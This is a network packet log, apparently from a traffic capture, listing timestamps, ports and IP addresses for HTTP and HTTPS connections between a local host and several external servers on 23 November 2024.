Nov 23, 2024 20:23:19.918020964 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.918071032 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.918133974 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.918183088 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.918695927 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.918744087 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.918796062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.918845892 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.919365883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.919415951 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.919459105 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.919502974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.920032024 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.920080900 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.920130968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.920202971 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.920687914 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.920742035 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.920783997 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.920835018 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.921370029 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.921417952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.921452045 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.921502113 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.922002077 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.922053099 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.922060966 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.922158957 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.922697067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.922744989 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.922899961 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.922950983 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.923366070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.923418045 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.923449993 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.923497915 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.924041986 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.924091101 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.924124956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.924175978 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.924679995 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.924731016 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.924813032 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.924868107 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.925357103 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.925405979 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.925586939 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.925637007 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.926018000 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.926063061 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.926115990 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.926165104 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.926660061 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.926708937 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.926790953 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.927160025 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.927356958 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.927402973 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.927489042 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.927539110 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.927987099 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.928036928 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.928082943 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.928132057 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.928625107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.928688049 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.928703070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.928750992 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.929342985 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.929388046 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.929451942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.929498911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.929960966 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.930002928 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.930011988 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.930047989 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.930655003 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.930706024 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.930737019 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.930790901 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.931301117 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.931418896 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.931476116 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.931971073 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.932054996 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.932116032 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.932632923 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.932692051 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.932696104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.933089018 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.933398962 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.933414936 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.933455944 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.933564901 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.933617115 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.933653116 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.933691025 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.933702946 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.933727026 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.933739901 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.933945894 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.933995008 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.934067965 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.934128046 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.934626102 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.934674978 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.934763908 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.934818029 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.935257912 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.935307026 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.935354948 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.935434103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.935921907 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.935971975 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.936156034 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.936207056 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.936568975 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.936618090 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.936660051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.936707020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.941700935 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.941740990 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.941757917 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.941766977 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.941811085 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.950067997 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.958424091 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.958479881 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.958488941 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.966850042 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.966918945 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.966927052 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.967905998 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.968398094 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:19.968436956 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.968880892 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:19.968899965 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.997709990 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.998112917 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:19.998138905 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.998481035 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:19.998486042 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.999253035 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.999479055 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:19.999501944 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:19.999767065 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:19.999773026 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.009160042 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:20.084645033 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.085071087 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.085079908 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.085493088 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.085495949 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.094285011 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.094311953 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.094409943 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.094531059 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.094590902 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.094676018 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.094719887 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.094800949 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.095055103 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.095124006 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.095177889 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.095278025 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.095727921 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.095757961 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.095804930 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.096080065 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.096115112 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.096147060 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.096220016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.096780062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.096805096 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.096839905 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.096875906 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.097251892 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.097373962 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.097421885 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.097927094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.098037004 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.098086119 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.098594904 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.098727942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.098727942 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.098850965 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.099241018 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.099298000 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.099389076 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.099437952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.099931955 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.099977970 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.100023031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.100080013 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.100601912 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.100651026 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.100725889 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.100820065 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.101234913 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.101288080 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.101334095 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.101427078 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.101917028 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.101969957 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.102013111 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.102068901 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.102572918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.102638006 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.102677107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.102722883 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.103229046 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.103326082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.103389025 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.103899002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.103985071 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.104044914 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.104609013 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.104682922 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.104742050 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.105268002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.105319023 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.105355024 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.105513096 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.105895996 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.105978966 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.106040955 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.106559038 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.106647968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.106702089 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.107214928 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.107264996 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.107310057 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.107877016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.107928991 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.107980013 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.108546019 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.108546019 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.108743906 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.108805895 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.109208107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.109272003 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.109294891 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.109390974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.109894037 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.109970093 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.109987020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.110018015 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.110523939 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.110586882 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.110627890 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.110671043 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.111196995 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.111247063 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.111304998 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.111356020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.111867905 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.111924887 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.111936092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.111989975 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.112514973 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.112579107 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.112673998 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.112731934 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.113178968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.113269091 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.113321066 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.113953114 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.113965988 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.114011049 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.114504099 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.114552021 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.114594936 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.115173101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.115226984 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.115271091 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.115864038 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.115917921 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.115946054 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.116497993 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.116542101 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.116573095 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.116619110 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.117172956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.117244005 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.117305040 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.117827892 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.117924929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.118058920 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.118478060 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.118618011 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.118644953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.118680000 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.119232893 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.119304895 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.119354963 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.119833946 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.119904995 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.119952917 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.120459080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.120574951 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.120625019 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.121114016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.121162891 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.121205091 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.121515036 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.121814013 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.121895075 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.121994019 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.122433901 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.122481108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.122482061 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.123122931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.123169899 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.123207092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.123610020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.123800039 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.123902082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.123950958 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.124438047 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.124495029 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.124550104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.124644995 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.125109911 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.125163078 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.125206947 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.125284910 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.125782967 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.125830889 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.125874043 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.126049042 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.126441002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.126626015 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.126629114 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.126672029 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.127100945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.127156973 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.127194881 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.127264977 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.127788067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.127834082 CET	49783	80	192.168.2.4	185.215.113.16
